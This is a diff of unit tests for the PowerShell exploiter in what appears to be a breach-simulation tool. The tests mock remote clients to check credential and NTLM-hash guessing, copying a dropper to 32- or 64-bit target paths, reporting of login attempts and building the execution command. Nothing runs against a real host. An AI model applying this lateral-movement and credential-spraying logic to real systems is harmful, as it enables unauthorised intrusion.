@ -33,9 +37,17 @@ class TestAuthenticationError(Exception):
|
||||||
def powershell_exploiter(monkeypatch):
|
def powershell_exploiter(monkeypatch):
|
||||||
host = VictimHost("127.0.0.1")
|
host = VictimHost("127.0.0.1")
|
||||||
pe = powershell.PowerShellExploiter(host)
|
pe = powershell.PowerShellExploiter(host)
|
||||||
pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64)
|
pe._config = Config(
|
||||||
|
USER_LIST,
|
||||||
|
PASSWORD_LIST,
|
||||||
|
LM_HASH_LIST,
|
||||||
|
NT_HASH_LIST,
|
||||||
|
DROPPER_TARGET_PATH_32,
|
||||||
|
DROPPER_TARGET_PATH_64,
|
||||||
|
)
|
||||||
|
|
||||||
monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError)
|
monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError)
|
||||||
|
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
|
||||||
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
||||||
# it's necessary to avoid having to deal with the monkeyfs
|
# it's necessary to avoid having to deal with the monkeyfs
|
||||||
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
||||||
|
@ -78,7 +90,7 @@ def test_powershell_https(monkeypatch, powershell_exploiter):
|
||||||
powershell_exploiter.exploit_host()
|
powershell_exploiter.exploit_host()
|
||||||
|
|
||||||
for call_args in mock_powershell_client.call_args_list:
|
for call_args in mock_powershell_client.call_args_list:
|
||||||
if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password":
|
if call_args[0][1].secret != "" and call_args[0][1].secret != "dummy_password":
|
||||||
assert call_args[0][2].ssl
|
assert call_args[0][2].ssl
|
||||||
|
|
||||||
|
|
||||||
|
@ -92,7 +104,7 @@ def test_no_valid_credentials(monkeypatch, powershell_exploiter):
|
||||||
|
|
||||||
def authenticate(mock_client):
|
def authenticate(mock_client):
|
||||||
def inner(_, credentials: Credentials, auth_options: AuthOptions):
|
def inner(_, credentials: Credentials, auth_options: AuthOptions):
|
||||||
if credentials.username == "user1" and credentials.password == "pass2":
|
if credentials.username == "user1" and credentials.secret == "pass2":
|
||||||
return mock_client
|
return mock_client
|
||||||
else:
|
else:
|
||||||
raise TestAuthenticationError("Invalid credentials")
|
raise TestAuthenticationError("Invalid credentials")
|
||||||
|
@ -106,25 +118,23 @@ def authenticate(mock_client):
|
||||||
)
|
)
|
||||||
def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch):
|
def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch):
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client.get_host_architecture = lambda: arch
|
mock_client.return_value.get_host_architecture = lambda: arch
|
||||||
mock_client.copy_file = MagicMock(return_value=True)
|
mock_client.return_value.copy_file = MagicMock(return_value=True)
|
||||||
|
|
||||||
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client))
|
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
|
||||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
|
||||||
|
|
||||||
success = powershell_exploiter.exploit_host()
|
success = powershell_exploiter.exploit_host()
|
||||||
|
|
||||||
assert dropper_target_path in mock_client.copy_file.call_args[0][1]
|
assert dropper_target_path in mock_client.return_value.copy_file.call_args[0][1]
|
||||||
assert success
|
assert success
|
||||||
|
|
||||||
|
|
||||||
def test_failed_copy(monkeypatch, powershell_exploiter):
|
def test_failed_copy(monkeypatch, powershell_exploiter):
|
||||||
mock_client = MagicMock()
|
mock_client = MagicMock()
|
||||||
mock_client.get_host_architecture = lambda: WIN_ARCH_32
|
mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
|
||||||
mock_client.copy_file = MagicMock(return_value=False)
|
mock_client.return_value.copy_file = MagicMock(return_value=False)
|
||||||
|
|
||||||
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client))
|
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
|
||||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
|
||||||
|
|
||||||
success = powershell_exploiter.exploit_host()
|
success = powershell_exploiter.exploit_host()
|
||||||
assert not success
|
assert not success
|
||||||
|
@ -141,3 +151,40 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter):
|
||||||
|
|
||||||
success = powershell_exploiter.exploit_host()
|
success = powershell_exploiter.exploit_host()
|
||||||
assert not success
|
assert not success
|
||||||
|
|
||||||
|
|
||||||
|
def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter):
|
||||||
|
mock_client = MagicMock()
|
||||||
|
mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32
|
||||||
|
mock_client.return_value.copy_file = MagicMock(return_value=True)
|
||||||
|
|
||||||
|
# execute_cmd method will throw exceptions for 5 first calls.
|
||||||
|
# 6-th call doesn't throw an exception == credentials successful
|
||||||
|
execute_cmd_returns = [Exception, Exception, Exception, Exception, Exception, True]
|
||||||
|
mock_client.return_value.execute_cmd = MagicMock(side_effect=execute_cmd_returns)
|
||||||
|
|
||||||
|
monkeypatch.setattr(powershell, "PowerShellClient", mock_client)
|
||||||
|
|
||||||
|
powershell_exploiter.exploit_host()
|
||||||
|
|
||||||
|
# Total 6 attempts reported, 5 failed and 1 succeeded
|
||||||
|
assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns)
|
||||||
|
assert (
|
||||||
|
len([attempt for attempt in powershell_exploiter.exploit_attempts if not attempt["result"]])
|
||||||
|
== 5
|
||||||
|
)
|
||||||
|
assert (
|
||||||
|
len([attempt for attempt in powershell_exploiter.exploit_attempts if attempt["result"]])
|
||||||
|
== 1
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_build_monkey_execution_command():
|
||||||
|
host = VictimHost("127.0.0.1")
|
||||||
|
depth = 2
|
||||||
|
executable_path = "/tmp/test-monkey"
|
||||||
|
|
||||||
|
cmd = powershell.build_monkey_execution_command(host, depth, executable_path)
|
||||||
|
|
||||||
|
assert f"-d {depth}" in cmd
|
||||||
|
assert executable_path in cmd
|
||||||
|
|
Loading…
Reference in New Issue